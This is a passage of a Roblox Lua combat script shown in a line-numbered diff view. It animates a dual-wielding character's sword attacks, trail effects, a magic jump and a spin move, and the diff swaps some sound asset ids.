        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3271
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3272
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3273
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3274
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3275
    end
3276
    --dmgstop()
3277
    attack=false
3278
    Humanoid.WalkSpeed = 12
3279
if TrailDeb == true then
3280
						TrailDeb = false
3281
end
3282
end
3283
3284
function attackone()
3285
    attack=true
3286
    if TrailDeb == false then
3287
							TrailDeb = true
3288
						end
3289
						
3290
3291
coroutine.wrap(function()
3292
local Old = Handle.CFrame.p
3293
while wait()do
3294
if not TrailDeb then break end
3295
local New = Handle.CFrame.p
3296
local Mag =(Old -New).magnitude
3297
local Dis =(Old +New)/2
3298
local Trail = Instance.new("Part",Character)
3299
Trail.Material = "Neon"
3300
Trail.Anchored = true
3301
Trail.CanCollide = false
3302
Trail.BrickColor = TorsoColor
3303
Trail.Size = Vector3.new(0.2,Mag,0.2)
3304
Trail.TopSurface = 0
3305
Trail.BottomSurface = 0
3306
Trail.formFactor = "Custom"
3307
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3308
local ms = Instance.new("BlockMesh",Trail)
3309
ms.Scale = Vector3.new(1,1,1)
3310
local TM = Instance.new("CylinderMesh",Trail)
3311
TM.Scale = Vector3.new(1,1,1)
3312
Old = New
3313
coroutine.wrap(function()
3314
for i = 1,0,-0.1 do
3315
wait()
3316
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3317
end
3318
Trail:remove()
3319
end)()
3320
coroutine.wrap(function()
3321
for i = 1,10 do
3322
wait()
3323
Trail.Transparency = Trail.Transparency +0.1
3324
end end)()end end)()
3325
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3326
    for i=0,1,0.08 do
3327
        swait()
3328
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
3329
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
3330
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3331
        Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
3332
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3333
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
3334
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3335
    end
3336
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) 
3337-
    so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) 
3337+
    so("http://www.roblox.com/asset/?id=477843807",Torso,1,1) 
3338
    for i=0,1,0.1 do
3339
        swait()
3340
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
3341
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3342
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3343
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
3344
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3345
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
3346
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3347
    end
3348
    --dmgstop()
3349
    attack=false
3350
    con1:disconnect()
3351
if TrailDeb == true then
3352
						TrailDeb = false
3353
end
3354
end
3355
3356
function attacktwo()
3357
    attack=true
3358
if TrailDeb == false then
3359
							TrailDeb = true
3360
						end
3361
						
3362
3363
coroutine.wrap(function()
3364
local Old = Handle2.CFrame.p
3365
while wait()do
3366
if not TrailDeb then break end
3367
local New = Handle2.CFrame.p
3368
local Mag =(Old -New).magnitude
3369
local Dis =(Old +New)/2
3370
local Trail = Instance.new("Part",Character)
3371
Trail.Material = "Neon"
3372
Trail.Anchored = true
3373
Trail.CanCollide = false
3374
Trail.BrickColor = TorsoColor
3375
Trail.Size = Vector3.new(0.2,Mag,0.2)
3376
Trail.TopSurface = 0
3377
Trail.BottomSurface = 0
3378
Trail.formFactor = "Custom"
3379
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3380
local ms = Instance.new("BlockMesh",Trail)
3381
ms.Scale = Vector3.new(1,1,1)
3382
local TM = Instance.new("CylinderMesh",Trail)
3383
TM.Scale = Vector3.new(1,1,1)
3384
Old = New
3385
coroutine.wrap(function()
3386
for i = 1,0,-0.1 do
3387
wait()
3388
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3389
end
3390
Trail:remove()
3391
end)()
3392
coroutine.wrap(function()
3393
for i = 1,10 do
3394
wait()
3395
Trail.Transparency = Trail.Transparency +0.1
3396
end end)()end end)()
3397
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3398
    for i=0,1,0.08 do
3399
        swait()
3400
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
3401
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3402
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3403
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
3404
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3405
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
3406
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
3407
    end
3408
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
3409-
    so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) 
3409+
    so("http://www.roblox.com/asset/?id=1295446488",Torso,1,1) 
3410
    for i=0,1,0.1 do
3411
        swait()
3412
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3413
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
3414
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3415
        Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
3416
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3417
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
3418
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
3419
    end
3420
    --dmgstop()
3421
    attack=false
3422
    con1:disconnect()
3423
if TrailDeb == true then
3424
						TrailDeb = false
3425
end
3426
end
3427
3428
function attackthree()
3429
    attack=true
3430
    if TrailDeb == false then
3431
							TrailDeb = true
3432
						end
3433
3434
						
3435
coroutine.wrap(function()
3436
local Old = Handle.CFrame.p
3437
while wait()do
3438
if not TrailDeb then break end
3439
local New = Handle.CFrame.p
3440
local Mag =(Old -New).magnitude
3441
local Dis =(Old +New)/2
3442
local Trail = Instance.new("Part",Character)
3443
Trail.Material = "Neon"
3444
Trail.Anchored = true
3445
Trail.CanCollide = false
3446
Trail.BrickColor = TorsoColor
3447
Trail.Size = Vector3.new(0.2,Mag,0.2)
3448
Trail.TopSurface = 0
3449
Trail.BottomSurface = 0
3450
Trail.formFactor = "Custom"
3451
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3452
local ms = Instance.new("BlockMesh",Trail)
3453
ms.Scale = Vector3.new(1,1,1)
3454
local TM = Instance.new("CylinderMesh",Trail)
3455
TM.Scale = Vector3.new(1,1,1)
3456
Old = New
3457
coroutine.wrap(function()
3458
for i = 1,0,-0.1 do
3459
wait()
3460
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3461
end
3462
Trail:remove()
3463
end)()
3464
coroutine.wrap(function()
3465
for i = 1,10 do
3466
wait()
3467
Trail.Transparency = Trail.Transparency +0.1
3468
end end)()end end)()
3469
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) 
3470
    for i=0,1,0.08 do
3471
        swait()
3472
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
3473
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
3474
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3475
        Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
3476
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3477
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
3478
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3479
    end
3480
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
3481
    so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) 
3482
    for i=0,1,0.05 do
3483
        swait()
3484
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
3485
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
3486
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3487
        Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
3488
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3489
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
3490
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3491
    end
3492
    --dmgstop()
3493
    attack=false
3494
    con1:disconnect()
3495
if TrailDeb == true then
3496
						TrailDeb = false
3497
end
3498
end
3499
3500
function attackfour()
3501
    attack=true
3502
if TrailDeb == false then
3503
							TrailDeb = true
3504
						end
3505
						
3506
3507
coroutine.wrap(function()
3508
local Old = Handle2.CFrame.p
3509
while wait()do
3510
if not TrailDeb then break end
3511
local New = Handle2.CFrame.p
3512
local Mag =(Old -New).magnitude
3513
local Dis =(Old +New)/2
3514
local Trail = Instance.new("Part",Character)
3515
Trail.Material = "Neon"
3516
Trail.Anchored = true
3517
Trail.CanCollide = false
3518
Trail.BrickColor = TorsoColor
3519
Trail.Size = Vector3.new(0.2,Mag,0.2)
3520
Trail.TopSurface = 0
3521
Trail.BottomSurface = 0
3522
Trail.formFactor = "Custom"
3523
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3524
local ms = Instance.new("BlockMesh",Trail)
3525
ms.Scale = Vector3.new(1,1,1)
3526
local TM = Instance.new("CylinderMesh",Trail)
3527
TM.Scale = Vector3.new(1,1,1)
3528
Old = New
3529
coroutine.wrap(function()
3530
for i = 1,0,-0.1 do
3531
wait()
3532
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3533
end
3534
Trail:remove()
3535
end)()
3536
coroutine.wrap(function()
3537
for i = 1,10 do
3538
wait()
3539
Trail.Transparency = Trail.Transparency +0.1
3540
end end)()end end)()
3541
coroutine.wrap(function()
3542
local Old = Handle.CFrame.p
3543
while wait()do
3544
if not TrailDeb then break end
3545
local New = Handle.CFrame.p
3546
local Mag =(Old -New).magnitude
3547
local Dis =(Old +New)/2
3548
local Trail = Instance.new("Part",Character)
3549
Trail.Material = "Neon"
3550
Trail.Anchored = true
3551
Trail.CanCollide = false
3552
Trail.BrickColor = TorsoColor
3553
Trail.Size = Vector3.new(0.2,Mag,0.2)
3554
Trail.TopSurface = 0
3555
Trail.BottomSurface = 0
3556
Trail.formFactor = "Custom"
3557
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3558
local ms = Instance.new("BlockMesh",Trail)
3559
ms.Scale = Vector3.new(1,1,1)
3560
local TM = Instance.new("CylinderMesh",Trail)
3561
TM.Scale = Vector3.new(1,1,1)
3562
Old = New
3563
coroutine.wrap(function()
3564
for i = 1,0,-0.1 do
3565
wait()
3566
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3567
end
3568
Trail:remove()
3569
end)()
3570
coroutine.wrap(function()
3571
for i = 1,10 do
3572
wait()
3573
Trail.Transparency = Trail.Transparency +0.1
3574
end end)()end end)()
3575
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3576
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3577
    for i=0,1,0.08 do
3578
        swait()
3579
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3580
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3581
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3582
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3583
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3584
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3585
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3586
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3587
    end
3588
if anim then
3589
anim.Disabled=true
3590
end
3591
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) 
3592-
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) 
3592+
    so("http://www.roblox.com/asset/?id=430315987",Torso,1,1) 
3593
    for i=0,1,0.04 do
3594
        swait()
3595
        Torso.Velocity=RootPart.CFrame.lookVector*50
3596
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
3597
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3598
        Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3599
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3600
        RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3601
        LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3602
        RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3603
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3604
    end
3605
    --dmgstop()
3606
    attack=false
3607
    con1:disconnect()
3608
    con2:disconnect()
3609
if anim then
3610
anim.Disabled=false
3611
end
3612
if TrailDeb == true then
3613
						TrailDeb = false
3614
end
3615
end
3616
3617
function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
3618
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
3619
	prt.Anchored = true
3620
	prt.CFrame = cframe
3621
	local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
3622
	coroutine.resume(coroutine.create(function() 
3623
		for i = 0, 1, 0.05 do
3624
			wait()
3625
			prt.Transparency = i
3626
			msh.Scale = msh.Scale + vt(x2, y2, z2)
3627
		end
3628
		prt.Parent = nil
3629
	end))
3630
end
3631
3632
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
3633
	for _, c in pairs(workspace:children()) do
3634
		local hum = c:findFirstChild("Humanoid")
3635
		if hum ~= nil then
3636
			local head = c:findFirstChild("Torso")
3637
			if head ~= nil then
3638
				local targ = head.Position - Part.Position
3639
				local mag = targ.magnitude
3640
				if mag <= magni and c.Name ~= Player.Name then 
3641
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
3642
				end
3643
			end
3644
		end
3645
	end
3646
end
3647
3648
function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
3649
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
3650
	prt.Anchored = true
3651
	prt.CFrame = cframe
3652
	local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
3653
	game:GetService("Debris"):AddItem(prt, 2)
3654
	coroutine.resume(coroutine.create(function(Part, Mesh) 
3655
		for i = 0, 1, delay do
3656
			swait()
3657
			Part.CFrame = Part.CFrame
3658
			Part.Transparency = i
3659
			Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
3660
		end
3661
		Part.Parent = nil
3662
	end), prt, msh)
3663
end
3664
3665
function MagicJump()
3666
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
3667
    attack=true
3668
	mana=mana-25
3669
--[[	Humanoid.WalkSpeed = 0
3670
	    for i=0,1,0.01 do
3671
        swait()
3672
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
3673
		Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
3674
		Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
3675
		RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
3676
		LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
3677
		RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
3678
		LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
3679
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
3680
		Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
3681
		Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
3682
    end]]--
3683
	Humanoid.Jump = true
3684
	Torso.Velocity = vt(0, 150, 0)
3685
	Humanoid.WalkSpeed = 64
3686
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
3687
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
3688
 	for i=0,1,0.05 do
3689
	swait()
3690
	Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
3691
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3692
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
3693
    LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
3694
    RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
3695
	RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
3696
	LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
3697
	handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
3698
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
3699
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
3700
end
3701
 	for i=0,1,0.02 do
3702
	swait()
3703
	Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
3704
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3705
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
3706
	RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
3707
	RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
3708
	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
3709
	LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
3710
	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
3711
	LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
3712
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
3713
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
3714
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
3715
end
3716
	Humanoid.WalkSpeed = 0
3717
	swait(8)
3718
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
3719
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
3720
	local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
3721
	if hit~=nil then
3722
	swait(2)
3723
	local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
3724
	ref.Anchored=true
3725
	ref.CFrame=cf(pos)
3726
	game:GetService("Debris"):AddItem(ref,3)
3727
	for i=1,10 do
3728
	local Col=BrickColor.new("Really black")
3729
	local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
3730
	groundpart.Anchored=true
3731
	groundpart.CanCollide=false
3732
	groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3733
	local Col2=TorsoColor
3734
	local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
3735
	groundpart2.Anchored=true
3736
	groundpart2.CanCollide=false
3737
	groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3738
	game:GetService("Debris"):AddItem(groundpart,5)
3739
	game:GetService("Debris"):AddItem(groundpart2,5)
3740
	end
3741
	BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
3742
	BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
3743
	MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
3744
	MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
3745
 	for i=0,1,0.06 do
3746
	swait()
3747
	Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
3748
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3749
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
3750
	RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
3751
	LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
3752
	RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
3753
	LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
3754
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
3755
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
3756
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
3757
end
3758
end
3759
	swait(20)
3760
	Humanoid.WalkSpeed = 12
3761
    --dmgstop()
3762
    attack=false
3763
end
3764
end
3765
3766
function Spin()
3767
    attack=true
3768
mana=mana-40
3769
if TrailDeb == false then
3770
							TrailDeb = true
3771
						end
3772
						
3773
coroutine.wrap(function()
3774
local Old = Handle2.CFrame.p
3775
while wait()do
3776
if not TrailDeb then break end
3777
local New = Handle2.CFrame.p
3778
local Mag =(Old -New).magnitude
3779
local Dis =(Old +New)/2
3780
local Trail = Instance.new("Part",Character)
3781
Trail.Material = "Neon"
3782
Trail.Anchored = true
3783
Trail.CanCollide = false
3784
Trail.BrickColor = TorsoColor
3785
Trail.Size = Vector3.new(0.2,Mag,0.2)
3786
Trail.TopSurface = 0
3787
Trail.BottomSurface = 0
3788
Trail.formFactor = "Custom"
3789
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3790
local ms = Instance.new("BlockMesh",Trail)
3791
ms.Scale = Vector3.new(1,1,1)
3792
local TM = Instance.new("CylinderMesh",Trail)
3793
TM.Scale = Vector3.new(1,1,1)
3794
Old = New
3795
coroutine.wrap(function()
3796
for i = 1,0,-0.1 do
3797
wait()
3798
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3799
end
3800
Trail:remove()
3801
end)()
3802
coroutine.wrap(function()
3803
for i = 1,10 do
3804
wait()
3805
Trail.Transparency = Trail.Transparency +0.1
3806
end end)()end end)()
3807
coroutine.wrap(function()
3808
local Old = Handle.CFrame.p
3809
while wait()do
3810
if not TrailDeb then break end
3811
local New = Handle.CFrame.p
3812
local Mag =(Old -New).magnitude
3813
local Dis =(Old +New)/2
3814
local Trail = Instance.new("Part",Character)
3815
Trail.Material = "Neon"
3816
Trail.Anchored = true
3817
Trail.CanCollide = false
3818
Trail.BrickColor = TorsoColor
3819
Trail.Size = Vector3.new(0.2,Mag,0.2)
3820
Trail.TopSurface = 0
3821
Trail.BottomSurface = 0
3822
Trail.formFactor = "Custom"
3823
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3824
local ms = Instance.new("BlockMesh",Trail)
3825
ms.Scale = Vector3.new(1,1,1)
3826
local TM = Instance.new("CylinderMesh",Trail)
3827
TM.Scale = Vector3.new(1,1,1)
3828
Old = New
3829
coroutine.wrap(function()
3830
for i = 1,0,-0.1 do
3831
wait()
3832
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3833
end
3834
Trail:remove()
3835
end)()
3836
coroutine.wrap(function()
3837
for i = 1,10 do
3838
wait()
3839
